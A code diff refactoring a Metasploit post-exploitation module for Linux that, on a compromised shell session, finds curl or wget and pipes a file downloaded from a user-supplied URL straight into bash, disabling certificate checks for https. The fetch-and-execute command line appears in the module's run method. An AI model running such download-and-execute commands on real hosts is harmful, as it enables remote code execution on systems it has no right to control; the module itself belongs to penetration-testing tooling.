@@ -18,23 +18,37 @@ class Metasploit3 < Msf::Post
18
18
include Msf ::Post ::File
19
19
include Msf ::Post ::Linux ::System
20
20
21
-
22
21
def initialize ( info = { } )
23
22
super ( update_info ( info ,
24
- 'Name' => 'Linux Download Exec ' ,
23
+ 'Name' => 'Linux Manage Download and Exececute ' ,
25
24
'Description' => %q{
26
- This module downloads and runs a file with bash. It first
27
- tries to uses curl as its HTTP client and then wget if it's not found. Bash
28
- found in the PATH is used to execute the file.} ,
25
+ This module downloads and runs a file with bash. It first tries to uses curl as
26
+ its HTTP client and then wget if it's not found. Bash found in the PATH is used to
27
+ execute the file.
28
+ } ,
29
29
'License' => MSF_LICENSE ,
30
- 'Author' => [ 'Joshua D. Abraham
31
- <jabra[at]praetorian.com>' , ] , 'Platform' => [ 'linux' ] ,
32
- 'SessionTypes' => [ 'shell' ] ) )
30
+ 'Author' =>
31
+ [
32
+ 'Joshua D. Abraham <jabra[at]praetorian.com>' ,
33
+ ] ,
34
+ 'Platform' => [ 'linux' ] ,
35
+ 'SessionTypes' => [ 'shell' ]
36
+ ) )
37
+
33
38
register_options (
34
- [
35
- OptString . new ( 'URL' , [ true , 'Full URL of file to download.' ] )
36
- ] , self . class )
39
+ [
40
+ OptString . new ( 'URL' , [ true , 'Full URL of file to download.' ] )
41
+ ] , self . class )
42
+
43
+ end
37
44
45
+ def cmd_exec_vprint ( cmd )
46
+ vprint_status ( "Executing: #{ cmd } " )
47
+ output = cmd_exec ( cmd )
48
+ if output . length > 0
49
+ vprint_status ( "#{ output } " )
50
+ end
51
+ return
38
52
end
39
53
40
54
def exists_exe? ( exe )
@@ -50,40 +64,40 @@ def exists_exe?(exe)
50
64
return false
51
65
end
52
66
53
- def run
54
- stdout_option = ""
67
+ def search_http_client
55
68
print_status ( "Checking if curl exists in the path..." )
56
69
if exists_exe? ( "curl" )
57
- print_good ( "curl available, going ahead..." )
58
- http_client = "curl"
59
- ssl_option = "-k"
60
- else
61
- print_warning ( "curl not available on the $PATH, checking for wget..." )
62
- print_status ( "Checking if wget exists in the path..." )
63
- if exists_exe? ( "wget" )
64
- print_good ( "wget available, going ahead..." )
65
- http_client = "wget"
66
- stdout_option = "-O-"
67
- ssl_option = "--no-check-certificate"
68
- else
69
- print_warning ( "neither curl nor wget available in the $PATH, aborting..." )
70
+ print_good ( "curl available, using it" )
71
+ @stdout_option = ""
72
+ @http_client = "curl"
73
+ @ssl_option = "-k"
70
74
return
71
- end
72
75
end
73
76
74
- if datastore [ 'URL' ] . match ( /https/ )
75
- cmd_exec_vprint ( "`which #{ http_client } ` #{ stdout_option } #{ ssl_option } #{ datastore [ 'URL' ] } 2>/dev/null | `which bash` " )
76
- else
77
- cmd_exec_vprint ( "`which #{ http_client } ` #{ stdout_option } #{ datastore [ 'URL' ] } 2>/dev/null | `which bash` " )
77
+ print_status ( "Checking if wget exists in the path..." )
78
+ if exists_exe? ( "wget" )
79
+ print_good ( "wget available, using it" )
80
+ @http_client = "wget"
81
+ @stdout_option = "-O-"
82
+ @ssl_option = "--no-check-certificate"
83
+ return
78
84
end
85
+
79
86
end
80
87
81
- def cmd_exec_vprint ( cmd )
82
- vprint_status ( "Executing: #{ cmd } " )
83
- output = cmd_exec ( cmd )
84
- if output . length > 0
85
- vprint_status ( "#{ output } " )
88
+ def run
89
+ search_http_client
90
+
91
+ if not @http_client
92
+ print_warning ( "neither curl nor wget available in the $PATH, aborting..." )
93
+ return
94
+ end
95
+
96
+ if datastore [ 'URL' ] . match ( /https/ )
97
+ cmd_exec_vprint ( "`which #{ @http_client } ` #{ @stdout_option } #{ @ssl_option } #{ datastore [ 'URL' ] } 2>/dev/null | `which bash` " )
98
+ else
99
+ cmd_exec_vprint ( "`which #{ @http_client } ` #{ @stdout_option } #{ datastore [ 'URL' ] } 2>/dev/null | `which bash` " )
86
100
end
87
- return
88
101
end
102
+
89
103
end
0 commit comments